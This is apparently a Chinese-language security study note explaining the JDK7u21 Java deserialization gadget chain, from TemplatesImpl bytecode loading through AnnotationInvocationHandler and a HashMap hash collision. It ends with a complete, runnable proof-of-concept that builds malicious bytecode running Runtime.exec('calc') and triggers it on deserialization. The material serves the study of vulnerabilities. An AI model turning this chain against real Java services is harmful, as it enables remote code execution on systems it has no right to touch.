分析
前置知识是TemplatesImpl类加载字节码RCE,也是sink点
TemplatesImpl类的newTransformer
方法会调用getTransletInstance
方法 ,然后先通过defineTransletClasses
方法填充__class__
,然后调用x].newInstance()
RCE
这里需要找到一个类调用TemplatesImpl
的newTransformer方法
这里我们找到的是AnnotationInvocationHandler
的equalsImpl
方法
这里可以调用var1类的var5方法
var5是var2来的,var2是getMemberMethods()方法获取的
可以看到memberMethods是通过this.type
获取的.,这个值构造函数我们是可控的,我们可以控制它是Templates类,它只有newTransformer
和getOutputProperties
方法
而equalsImpl方法是通过AnnotationInvocation类的invoke方法调用的
进入if语句需要满足几个条件:
- 代理的方法名是”equals”
- 这个代理方法的参数只有1个
- 参数类型是Object类型
这里我们使用的是Hashmap的put()方法当产生哈希冲突时会调用key.equals(k)
我们需要存入两个key,保证它们的hash值相等,indexFor计算的i相等,两个key值不相等,上一个key要是TemplatesImpl对象,这次的key是代理的AnnotationInvocation类
如图:
此时才可连上链子
怎么保证两次的hash值相同的?
查看HashMap的hash方法:
发现有个k.hashCode()方法
这个k是TemplatesImpl对象或者代理类
代理类的invoke方法检测方法名,如果是hashCode()方法就调用hashCodeImpl()方法
1 2 3 4 5 6 7 8 9 10
| private int hashCodeImpl() { int var1 = 0;
Map.Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Map.Entry)var2.next(); }
return var1; }
|
这里var2遍历我们传入的memberValues,var3做一次for循环就被赋值了那个HashMap对象
var3.getKey()).hashCode()
计算我们传入的字符串的hashCode()方法,而f5a5a608
经过String.hashCode()方法处理完结果是0
而0与任何值异或都是对方
主要看memberValueHashCode(var3.getValue())
,而TemplatesImpl没有hashCode()方法
而我们第一次set.add(templates);传入的templates和第二次一样的,因此hash相同,具体看Poc代码
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| package ysoserial.study;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;
public class study1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static TemplatesImpl generateEvilTemplates() throws Exception {
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractMethodError.class)); CtClass ctClass = pool.makeClass("JDK7u21Exploit"); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); ctClass.makeClassInitializer().insertBefore(cmd); byte[] ctClassBytes = ctClass.toBytecode(); byte[][] targetByteCodes = new byte[][]{ctClassBytes};
TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_name", "h3rmesk1t"); setFieldValue(templatesImpl, "_bytecodes", targetByteCodes); setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
return templatesImpl; }
public static void exp() throws Exception {
TemplatesImpl templates = generateEvilTemplates(); HashMap hashMap = new HashMap(); hashMap.put("f5a5a608", "zero");
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, hashMap);
Templates proxy = (Templates) Proxy.newProxyInstance(study1.class.getClassLoader(), new Class[]{Templates.class}, tempHandler); HashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy);
hashMap.put("f5a5a608", templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(set); oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object object = (Object)ois.readObject(); System.out.println(object); ois.close(); }
public static void main(String[] args) { try { exp(); } catch (Exception e) { e.printStackTrace(); } } }
|
参考
https://www.freebuf.com/articles/web/327709.html